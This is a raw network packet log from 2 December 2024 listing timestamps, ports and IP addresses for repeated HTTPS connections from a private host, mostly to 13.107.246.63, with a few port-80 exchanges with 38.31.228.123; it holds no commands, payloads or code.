Dec 2, 2024 04:59:08.476026058 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.476222038 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.476238966 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.582113981 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.582192898 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.582279921 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.582659006 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.582668066 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.582734108 CET	49890	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.582739115 CET	443	49890	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.585612059 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.585640907 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.585714102 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.585985899 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.585998058 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.669158936 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.669214964 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.669389009 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.669425011 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.669435024 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.669445038 CET	49889	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.669449091 CET	443	49889	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.671858072 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.671875954 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.671948910 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.672101974 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.672113895 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.692334890 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.692770004 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.692790031 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.693218946 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.693223953 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.786963940 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.787489891 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.787508965 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.787883043 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:08.787887096 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:08.866501093 CET	80	49746	38.31.228.123	192.168.2.4
Dec 2, 2024 04:59:08.866580009 CET	49746	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:59:09.108030081 CET	49746	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:59:09.127456903 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.127515078 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.127764940 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.127806902 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.127815008 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.127825975 CET	49892	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.127830029 CET	443	49892	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.130548000 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.130578041 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.130681992 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.130913973 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.130927086 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.228007078 CET	80	49746	38.31.228.123	192.168.2.4
Dec 2, 2024 04:59:09.242113113 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.242168903 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.242222071 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.242461920 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.242472887 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.242491007 CET	49891	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.242495060 CET	443	49891	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.245197058 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.245238066 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.245325089 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.245497942 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:09.245512962 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:09.257214069 CET	80	49750	38.31.228.123	192.168.2.4
Dec 2, 2024 04:59:09.257292032 CET	49750	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:59:10.254189968 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.254709959 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.254734039 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.255142927 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.255148888 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.301351070 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.301769972 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.301786900 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.302182913 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.302187920 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.452446938 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.456927061 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.456943035 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.457329988 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.457333088 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.647140026 CET	443	49872	142.250.181.100	192.168.2.4
Dec 2, 2024 04:59:10.647216082 CET	443	49872	142.250.181.100	192.168.2.4
Dec 2, 2024 04:59:10.647428036 CET	49872	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:59:10.699446917 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.699505091 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.699708939 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.699748993 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.699748993 CET	49893	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.699764967 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.699774027 CET	443	49893	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.702440023 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.702456951 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.702522039 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.702655077 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.702665091 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.746805906 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.746864080 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.747019053 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.747181892 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.747194052 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.747232914 CET	49894	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.747237921 CET	443	49894	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.749605894 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.749639034 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.749708891 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.749836922 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.749850988 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.896502972 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.896570921 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.896639109 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.896855116 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.896855116 CET	49895	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.896863937 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.896872044 CET	443	49895	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.899327040 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.899348021 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.899429083 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.899565935 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.899579048 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.974940062 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.975357056 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.975378036 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:10.975780964 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:10.975785971 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.033793926 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.034199953 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.034215927 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.034553051 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.034558058 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.108841896 CET	49750	80	192.168.2.4	38.31.228.123
Dec 2, 2024 04:59:11.108906984 CET	49872	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:59:11.108916044 CET	443	49872	142.250.181.100	192.168.2.4
Dec 2, 2024 04:59:11.228796959 CET	80	49750	38.31.228.123	192.168.2.4
Dec 2, 2024 04:59:11.460364103 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.460426092 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.460587978 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.460756063 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.460763931 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.460797071 CET	49896	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.460800886 CET	443	49896	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.463393927 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.463423014 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.463495016 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.463649988 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.463663101 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.519259930 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.519320965 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.519366980 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.519556046 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.519572020 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.519581079 CET	49897	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.519587040 CET	443	49897	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.523121119 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.523133039 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:11.523241043 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.523483038 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:11.523494005 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.476670027 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.477174997 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.477195978 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.477741003 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.477746964 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.486706018 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.487066031 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.487080097 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.487518072 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.487521887 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.743371010 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.743798971 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.743813038 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.744191885 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.744196892 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.912415981 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.912481070 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.912576914 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.912699938 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.912712097 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.912748098 CET	49899	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.912753105 CET	443	49899	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.915383101 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.915397882 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.915498018 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.915647984 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.915659904 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.930721045 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.930768013 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.930819988 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.930937052 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.930946112 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.930979013 CET	49898	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.930983067 CET	443	49898	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.932784081 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.932802916 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:12.932871103 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.932982922 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:12.932996988 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.188604116 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.188976049 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.188994884 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.189372063 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.189377069 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.197365046 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.197418928 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.197463036 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.197566986 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.197577000 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.197586060 CET	49900	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.197590113 CET	443	49900	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.199448109 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.199464083 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.199521065 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.199639082 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.199649096 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.367377043 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.367849112 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.367858887 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.368295908 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.368300915 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.624167919 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.624227047 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.624273062 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.624447107 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.624454975 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.624470949 CET	49901	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.624475002 CET	443	49901	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.627088070 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.627130985 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.627204895 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.627357006 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.627372026 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.821913958 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.821968079 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.822016954 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.822161913 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.822169065 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.822179079 CET	49902	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.822182894 CET	443	49902	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.824315071 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.824327946 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:13.824409962 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.824563980 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:13.824575901 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:14.634715080 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:14.635241032 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:14.635257006 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:14.635730982 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:14.635735989 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:14.712497950 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:14.712878942 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:14.712903023 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:14.713227034 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:14.713232040 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:14.981393099 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:14.981909037 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:14.981929064 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:14.982353926 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:14.982358932 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.069483995 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.069545984 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.069608927 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.069792032 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.069802046 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.069817066 CET	49903	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.069820881 CET	443	49903	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.072475910 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.072491884 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.072566032 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.072721958 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.072732925 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.156266928 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.156320095 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.156375885 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.156557083 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.156579018 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.156589031 CET	49904	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.156594038 CET	443	49904	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.159421921 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.159452915 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.159547091 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.159698009 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.159708977 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.407459021 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.408265114 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.408286095 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.408677101 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.408682108 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.497268915 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.497329950 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.497383118 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.497523069 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.497534037 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.497569084 CET	49905	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.497572899 CET	443	49905	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.499955893 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.499969006 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.500050068 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.500189066 CET	49910	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.500200033 CET	443	49910	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.605118036 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.605509996 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.605525970 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.605900049 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.605905056 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.852355003 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.852418900 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.852473974 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.852643967 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.852659941 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.852669954 CET	49906	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.852674007 CET	443	49906	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.855145931 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.855175018 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:15.855249882 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.855392933 CET	49911	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:15.855406046 CET	443	49911	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.051151991 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.051211119 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.051259995 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:16.051409006 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:16.051418066 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.051426888 CET	49907	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:16.051430941 CET	443	49907	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.053880930 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:16.053906918 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.053967953 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:16.054100990 CET	49912	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:16.054115057 CET	443	49912	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.854063034 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.854552984 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:16.854568005 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.854979038 CET	49908	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:16.854984045 CET	443	49908	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.938462973 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.938812971 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:16.938827991 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:16.939209938 CET	49909	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:16.939213991 CET	443	49909	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:17.223735094 CET	443	49910	13.107.246.63	192.168.2.4
